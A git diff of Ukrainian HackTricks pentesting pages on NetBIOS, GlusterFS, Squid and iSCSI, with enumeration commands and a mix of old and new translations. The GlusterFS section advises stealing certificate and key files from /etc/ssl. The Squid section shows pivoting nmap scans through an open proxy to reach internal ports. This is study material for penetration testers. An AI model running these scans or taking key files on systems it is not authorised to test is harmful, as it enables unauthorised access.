Для з'єднань, що базуються на взаємодії, **Служба сеансів** полегшує розмову між двома пристроями, використовуючи з'єднання **TCP** через порт **139/tcp**. Сеанс починається з пакета "Запит сеансу" і може бути встановлений на основі відповіді. Служба підтримує передачу великих повідомлень, виявлення помилок та відновлення, причому TCP відповідає за керування потоком та повторну передачу пакетів.
|
||||
Для орієнтованих на з'єднання взаємодій, **Session Service** полегшує розмову між двома пристроями, використовуючи **TCP** з'єднання через порт **139/tcp**. Сесія починається з пакета "Session Request" і може бути встановлена на основі відповіді. Сервіс підтримує більші повідомлення, виявлення помилок і відновлення, при цьому TCP обробляє управління потоком і повторну передачу пакетів.
|
||||
|
||||
Передача даних у межах сеансу включає **пакети повідомлень сеансу**, а сеанси завершуються закриттям з'єднання TCP.
|
||||
Передача даних у межах сесії включає **Session Message packets**, при цьому сесії завершуються закриттям TCP з'єднання.
|
||||
|
||||
Ці служби є невід'ємними для функціональності **NetBIOS**, що дозволяє ефективну комунікацію та обмін ресурсами в мережі. Для отримання додаткової інформації про протоколи TCP та IP дивіться відповідні сторінки у [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) та [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
|
||||
Ці сервіси є невід'ємною частиною функціональності **NetBIOS**, що забезпечує ефективну комунікацію та обмін ресурсами в мережі. Для отримання додаткової інформації про протоколи TCP та IP, зверніться до їх відповідних [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) та [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) сторінок.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
**Прочитайте наступну сторінку, щоб дізнатися, як перелічити цю службу:**
|
||||
**Прочитайте наступну сторінку, щоб дізнатися, як перерахувати цю службу:**
|
||||
|
||||
{% content-ref url="137-138-139-pentesting-netbios.md" %}
|
||||
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Автоматичні команди HackTricks
|
||||
## HackTricks Автоматичні команди
|
||||
```
|
||||
Protocol_Name: Netbios #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
|
@ -84,16 +85,17 @@ Name: Find Names
|
|||
Description: Three scans to find the names of the server
|
||||
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,46 +1,62 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Основна інформація
|
||||
# Basic Information
|
||||
|
||||
**GlusterFS** - це **розподілена файлова система**, яка об'єднує зберігання з кількох серверів в одну **єдину систему**. Вона дозволяє **довільне масштабування**, що означає, що ви можете легко додавати або видаляти сервери зберігання без порушення загальної файлової системи. Це забезпечує високу **доступність** та **стійкість до відмов** для ваших даних. З GlusterFS ви можете отримати доступ до своїх файлів так, ніби вони зберігаються локально, незалежно від базової інфраструктури сервера. Вона надає потужне та гнучке рішення для управління великими обсягами даних на кількох серверах.
|
||||
**GlusterFS** - це **розподілена файлова система**, яка об'єднує зберігання з кількох серверів в одну **уніфіковану систему**. Вона дозволяє **произвольну масштабованість**, що означає, що ви можете легко додавати або видаляти сервери зберігання без порушення загальної файлової системи. Це забезпечує високу **доступність** та **відмовостійкість** для ваших даних. З GlusterFS ви можете отримувати доступ до своїх файлів так, ніби вони зберігаються локально, незалежно від підлягаючої серверної інфраструктури. Це потужне та гнучке рішення для управління великими обсягами даних на кількох серверах.
|
||||
|
||||
**Порти за замовчуванням**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (відсічені)\
|
||||
Для порту 49152, порти, збільшені на 1, повинні бути відкриті для використання додаткових "цеглинок". _Раніше використовувався порт 24009 замість 49152._
|
||||
**Порт за замовчуванням**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (і далі)\
|
||||
Для порту 49152 порти, що збільшуються на 1, повинні бути відкриті для використання більшої кількості цеглин. _Раніше використовувався порт 24009 замість 49152._
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
```
|
||||
## Перелік
|
||||
## Enumeration
|
||||
|
||||
Для взаємодії з цією файловою системою потрібно встановити [**клієнт GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
|
||||
Щоб взаємодіяти з цією файловою системою, вам потрібно встановити [**клієнт GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
|
||||
|
||||
Для переліку та монтування доступних томів можна використовувати:
|
||||
Щоб перерахувати та змонтувати доступні томи, ви можете використовувати:
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
```
|
||||
Якщо ви отримуєте **помилку спроби монтування файлової системи**, ви можете перевірити журнали в `/var/log/glusterfs/`
|
||||
Якщо ви отримали **помилку при спробі змонтувати файлову систему**, ви можете перевірити журнали в `/var/log/glusterfs/`
|
||||
|
||||
**Помилки, що згадують сертифікати**, можна виправити, вкравши файли (якщо у вас є доступ до системи):
|
||||
**Помилки, що згадують сертифікати**, можна виправити, викравши файли (якщо у вас є доступ до системи):
|
||||
|
||||
* /etc/ssl/glusterfs.ca
|
||||
* /etc/ssl/glusterfs.key
|
||||
* /etc/ssl/glusterfs.ca.pem
|
||||
|
||||
І зберігаючи їх на вашому комп'ютері у каталозі `/etc/ssl` або `/usr/lib/ssl` (якщо використовується інший каталог, перевірте рядки, схожі на: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" у журналах).
|
||||
І зберігши їх у вашій машині в каталозі `/etc/ssl` або `/usr/lib/ssl` (якщо використовується інший каталог, перевірте рядки, подібні до: "_не вдалося завантажити наш сертифікат за адресою /usr/lib/ssl/glusterfs.pem_" у журналах) .
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,62 +1,64 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Базова інформація
|
||||
# Основна інформація
|
||||
|
||||
З [Вікіпедії](https://en.wikipedia.org/wiki/Squid\_\(software\)):
|
||||
|
||||
> **Squid** - це кешувальний та пересилальний HTTP веб-проксі. Він має широкий спектр застосувань, включаючи прискорення веб-сервера за рахунок кешування повторних запитів, кешування веб-сторінок, DNS та інших мережевих запитів для групи людей, які діляться ресурсами мережі, а також допомагає в забезпеченні безпеки шляхом фільтрації трафіку. Хоча в основному використовується для HTTP та FTP, Squid має обмежену підтримку кількох інших протоколів, включаючи Internet Gopher, SSL, TLS та HTTPS. На відміну від Privoxy, Squid не підтримує протокол SOCKS, з яким можна використовувати Squid для надання підтримки SOCKS.
|
||||
> **Squid** — це кешуючий та пересилаючий HTTP веб-проксі. Він має широкий спектр застосувань, включаючи прискорення веб-сервера шляхом кешування повторюваних запитів, кешування веб, DNS та інших комп'ютерних мережевих запитів для групи людей, які ділять мережеві ресурси, а також допомогу в безпеці шляхом фільтрації трафіку. Хоча в основному використовується для HTTP та FTP, Squid включає обмежену підтримку кількох інших протоколів, включаючи Internet Gopher, SSL, TLS та HTTPS. Squid не підтримує протокол SOCKS, на відміну від Privoxy, з яким Squid може бути використаний для надання підтримки SOCKS.
|
||||
|
||||
**Порт за замовчуванням:** 3128
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
3128/tcp open http-proxy Squid http proxy 4.11
|
||||
```
|
||||
# Перелік
|
||||
# Enumeration
|
||||
|
||||
## Веб-проксі
|
||||
## Web Proxy
|
||||
|
||||
Ви можете спробувати встановити цю виявлену службу як проксі в своєму браузері. Однак, якщо вона налаштована з HTTP аутентифікацією, вам буде запропоновано ввести імена користувачів та пароль.
|
||||
Ви можете спробувати встановити цей виявлений сервіс як проксі у вашому браузері. Однак, якщо він налаштований з HTTP-аутентифікацією, вам буде запропоновано ввести ім'я користувача та пароль.
|
||||
```bash
|
||||
# Try to proxify curl
|
||||
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
|
||||
```
|
||||
## Nmap проксіфікований
|
||||
## Nmap proxified
|
||||
|
||||
Ви також можете спробувати зловживати проксі для **сканування внутрішніх портів, проксіфікуючи nmap**.\
|
||||
Налаштуйте proxychains для використання проксі-сервера squid, додавши наступний рядок в кінець файлу proxichains.conf: `http 10.10.10.10 3128`
|
||||
Для проксі, які вимагають аутентифікації, додайте облікові дані до конфігурації, включивши ім'я користувача та пароль в кінці: `http 10.10.10.10 3128 ім'я_користувача пароль`.
|
||||
Ви також можете спробувати зловживати проксі, щоб **сканувати внутрішні порти, проксуючи nmap**.\
|
||||
Налаштуйте proxychains для використання проксі squid, додавши наступний рядок в кінець файлу proxichains.conf: `http 10.10.10.10 3128`\
|
||||
Для проксі, які вимагають аутентифікації, додайте облікові дані до конфігурації, включивши ім'я користувача та пароль в кінці: `http 10.10.10.10 3128 username passw0rd`.
|
||||
|
||||
Потім запустіть nmap з proxychains для **сканування хоста з локальної мережі**: `proxychains nmap -sT -n -p- localhost`
|
||||
Потім запустіть nmap з proxychains, щоб **сканувати хост з локального**: `proxychains nmap -sT -n -p- localhost`
|
||||
|
||||
## SPOSE Сканер
|
||||
## SPOSE Scanner
|
||||
|
||||
Також можна використовувати програму Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)).
|
||||
Альтернативно, можна використовувати Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)).
|
||||
```bash
|
||||
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,91 +1,92 @@
|
|||
# 3260 - Тестування на проникнення ISCSI
|
||||
# 3260 - Pentesting ISCSI
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
З [Вікіпедії](https://en.wikipedia.org/wiki/ISCSI):
|
||||
|
||||
> У комп'ютерній науці **iSCSI** - це абревіатура від **Internet Small Computer Systems Interface**, стандарт зберігання на основі протоколу Інтернету (IP) для з'єднання засобів зберігання даних. Він забезпечує доступ на рівні блоків до пристроїв зберігання, передаючи команди SCSI через мережу TCP/IP. iSCSI використовується для здійснення передачі даних по інтранету та управління зберіганням на великі відстані. Його можна використовувати для передачі даних по локальних мережах (LAN), глобальних мережах (WAN) або Інтернету та забезпечувати незалежне від місця розташування зберігання та отримання даних.
|
||||
> У комп'ютерних технологіях, **iSCSI** є абревіатурою для **Internet Small Computer Systems Interface**, стандарту зберігання даних на основі Інтернет-протоколу (IP) для з'єднання сховищ даних. Він забезпечує доступ на рівні блоків до пристроїв зберігання, передаючи команди SCSI через мережу TCP/IP. iSCSI використовується для полегшення передачі даних через інтрамережі та для управління зберіганням на великих відстанях. Його можна використовувати для передачі даних через локальні мережі (LAN), широкомасштабні мережі (WAN) або Інтернет і може забезпечити незалежне від місця зберігання та вилучення даних.
|
||||
>
|
||||
> Протокол дозволяє клієнтам (які називаються ініціаторами) надсилати команди SCSI (CDB) на пристрої зберігання (цілі) на віддалених серверах. Це протокол мережі зберігання (SAN), який дозволяє організаціям консолідувати зберігання в масиви зберігання, надаючи клієнтам (таким як бази даних та веб-сервери) ілюзію локально підключених дисків SCSI. Він головним чином конкурує з Fibre Channel, але, на відміну від традиційного Fibre Channel, який зазвичай потребує використання окремого кабелювання, iSCSI може працювати на великі відстані за допомогою існуючої мережевої інфраструктури.
|
||||
> Протокол дозволяє клієнтам (які називаються ініціаторами) надсилати команди SCSI (CDB) до пристроїв зберігання (цілей) на віддалених серверах. Це протокол мережі зберігання (SAN), що дозволяє організаціям консолідувати зберігання в масиви зберігання, одночасно надаючи клієнтам (таким як сервери бази даних і веб-сервери) ілюзію локально підключених дисків SCSI. Він в основному конкурує з Fibre Channel, але на відміну від традиційного Fibre Channel, який зазвичай вимагає спеціального кабелю, iSCSI може працювати на великих відстанях, використовуючи існуючу мережеву інфраструктуру.
|
||||
|
||||
**Порт за замовчуванням:** 3260
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
3260/tcp open iscsi?
|
||||
```
|
||||
## Перелік
|
||||
## Перерахування
|
||||
```
|
||||
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
|
||||
```
|
||||
Цей скрипт покаже, чи потрібна аутентифікація.
|
||||
Цей скрипт вказуватиме, чи потрібна аутентифікація.
|
||||
|
||||
### [Брутфорс](../generic-methodologies-and-resources/brute-force.md#iscsi)
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#iscsi)
|
||||
|
||||
### [Підключення ISCSI на Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
||||
### [Mount ISCSI on Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
||||
|
||||
**Примітка:** Ви можете помітити, що коли ваші цілі виявлені, вони перераховані під іншою IP-адресою. Це часто трапляється, якщо служба iSCSI викладена через NAT або віртуальну IP-адресу. У таких випадках `iscsiadmin` не зможе підключитися. Це потребує двох налаштувань: одне для імені каталогу вузла, автоматично створеного вашими діями з виявлення, і одне для файлу `default`, що міститься в цьому каталозі.
|
||||
**Примітка:** Ви можете виявити, що коли ваші цілі виявлені, вони перераховані під іншою IP-адресою. Це зазвичай трапляється, якщо служба iSCSI відкрито через NAT або віртуальну IP-адресу. У таких випадках `iscsiadmin` не зможе підключитися. Це вимагає двох налаштувань: одного для імені каталогу вузла, автоматично створеного вашими діями з виявлення, і одного для файлу `default`, що міститься в цьому каталозі.
|
||||
|
||||
Наприклад, ви намагаєтеся підключитися до цілі iSCSI на 123.123.123.123 на порту 3260. Сервер, що викладає ціль iSCSI, фактично знаходиться за адресою 192.168.1.2, але викладений через NAT. isciadm зареєструє _внутрішню_ адресу, а не _публічну_ адресу:
|
||||
Наприклад, ви намагаєтеся підключитися до цілі iSCSI на 123.123.123.123 на порту 3260. Сервер, що відкриває ціль iSCSI, насправді знаходиться за адресою 192.168.1.2, але відкритий через NAT. isciadm зареєструє _внутрішню_ адресу, а не _публічну_ адресу:
|
||||
```
|
||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
[...]
|
||||
```
|
||||
Ця команда створить каталог у вашій файловій системі таким чином:
|
||||
Ця команда створить каталог у вашій файловій системі, як ось цей:
|
||||
```
|
||||
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
|
||||
```
|
||||
У каталозі є файл за замовчуванням з усіма налаштуваннями, необхідними для підключення до цілі.
|
||||
|
||||
1. Перейменуйте `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` на `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
|
||||
2. У файлі `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` змініть налаштування `node.conn[0].address`, щоб вказувати на 123.123.123.123 замість 192.168.1.2. Це можна зробити за допомогою команди, наприклад `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
|
||||
2. У `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` змініть налаштування `node.conn[0].address`, щоб вказати на 123.123.123.123 замість 192.168.1.2. Це можна зробити за допомогою команди, такої як `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
|
||||
|
||||
Тепер ви можете монтувати ціль згідно інструкцій за посиланням.
|
||||
Тепер ви можете змонтувати ціль відповідно до інструкцій у посиланні.
|
||||
|
||||
### [Підключення ISCSI на Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
||||
### [Монтування ISCSI на Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
||||
|
||||
## **Ручне перелічення**
|
||||
## **Ручна енумерація**
|
||||
